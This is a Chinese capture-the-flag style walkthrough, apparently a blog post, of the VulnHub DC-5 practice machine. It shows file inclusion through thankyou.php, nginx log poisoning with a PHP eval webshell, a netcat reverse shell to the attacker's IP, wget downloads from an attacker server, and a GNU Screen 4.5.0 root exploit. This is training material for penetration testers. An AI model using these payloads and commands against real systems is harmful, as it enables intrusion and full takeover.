靶机6 DC-5(过程超详细)

简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。

1、下载靶场

靶机名称:DC-5(包含1个flag)

下载地址:

DC: 5 ~ VulnHub

2、安装靶场

以DC-1为例,将文件解压(一压缩包形式进行下载)。

打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)

导入成功,开启此虚拟机( 当页面出现 DC-5 login 时表示安装成功)。

3、获取靶机的flag

前提:

1、已知kali的IP地址(ifconfig)

—— kali IP地址:192.168.108.129/24

2、DC-5和kali在同一网段 | 已知DC-5所在的网段

—— DC-5 IP地址:192.168.108.135/24

3.1信息收集

获取DC-5的IP地址

命令:netdiscover -r 192.168.108.129/24

由图可知DC-5的IP地址是:192.168.108.135/24

端口扫描

命令:nmap -sV -p- 192.168.108.135

//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描

获取信息如下:

端口号

服务

版本

80

http

nginx 1.6.2

111

rpcbind

2-4

40547

status

1

3.2    渗透测试

查看一下80端口的http,并且对其进行CMS识别

发现这是一个类似于博客或者是公司简介一类的网站,依旧是没有识别到CMS

但是我们在最后一个页面 Contact 上看到了留言板,尝试xss之后发现并无回显的地方,使用burp抓包看看吧

使用burp抓包查看,发现是get的传参方式

直接使用sqlmap无法注入

sqlmap -u "http://192.168.108.135/thankyou.php?firstname=admin&lastname=admin&country=australia&subject=admin"

进行目录描扫,看看能不能拿到后台登陆的地址(实用工具dirb):dirb http://dc-5

由于发现使用dirb工具探测的不够全,使用dirsearch工具重新扫描一下

dirsearch -u "http://dc-5"

可以看到这里出现了三个php文件(index.php、thankyou.php、footer.php)

最后还是在留言板提交之后的页面发现了问题(在每此刷新此页面之后页面下方的时间都会发生变化)

同时,在php文件中发现了footer.php文件也是刷新就会变换时间,推测八成是thankyou.php对footer.php文件进行了文件包含

直接修改文件包含的路径进行尝试(参数改为 file=文件路径)

http://dc-5/thankyou.php?file=../../../../../../../../../../../../../etc/passwd

读取Nginx的错误日志文件(nginx 1.6.2 版本 的日志的地址 /var/log/nginx/error.log)

http://dc-5/thankyou.php?file=../../../../var/log/nginx/error.log

为了方便观察,直接ctrl+u

本来想看看这里会不会记录 agent、cookie,结果没有,但是访问的文件路径被记录了,那尝试挂个一句话木马使用蚁剑连接

尝试挂马(<?php @eval($_POST['webshell']);?>)

传参URL:http://dc-5/thankyou.php?file=<?php @eval($_POST["webshell"]); ?>

日志URL:http://dc-5/thankyou.php?file=../../../../var/log/nginx/error.log

可以看到是被加载进去了

使用蚁剑连接

http://192.168.108.136/thankyou.php?file=var/log/nginx/error.log

可能会不成功,尝试了几次的一句话木马注入才连接成功(因为中途靶机崩了,重新导入后IP地址发生了变化)

反弹shell

nc -e /bin/sh 192.168.108.129 6868

老套路了,改善一下shell交互的环境

python -c "import pty;pty.spawn('/bin/bash')"

继续收集信息

linux 3.16.0 Debian 3.16.51

查看能否进行suid提权的时候发现了一个有版本好的程序

find / -perm -4000 2>/dev/null #寻找有SUID权限(4000的文件,不显示其他的错误信息相当于过滤。

使用 searchsploit(kali自带的漏洞库)搜索 screen 4.5.0 的相关信息

使用 searchsploit -x linux/local/41154.sh 查看第一个 ,根据步骤制作文件

GNU Screen 4.5.0 - Local Privilege Escalation - Linux local Exploit     # 41154.sh 脚本文件内容

第三个文件的作用是用来执行前两个文件的,三个文件的执行顺序:dc-5 ——> libhax ——> rootshell

将做好的文件放在桌面,可以直接拖出来之后通过蚁剑上传至 DC-5 靶机

这里发现文件居然都无法上传,直接通过下载放在靶机里面(发现基本上都没有权限,只有在 /tmp/ 目录下写入成功了)

  • 在dc5目录下开启9999端口:python2 -m SimpleHTTPServer 9999
  • 靶机切换到/tmp目录,wget 172.20.10.3:5566/xxxx,下载这三个文件
    • wget 192.168.108.129:9999/dc5.sh
    • wget 192.168.108.129:9999/libhax.so
    • wget 192.168.108.129:9999/rootshell

提权

执行 dc5.sh 文件进行提权,

在 /root/ 目录下发现了flag

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值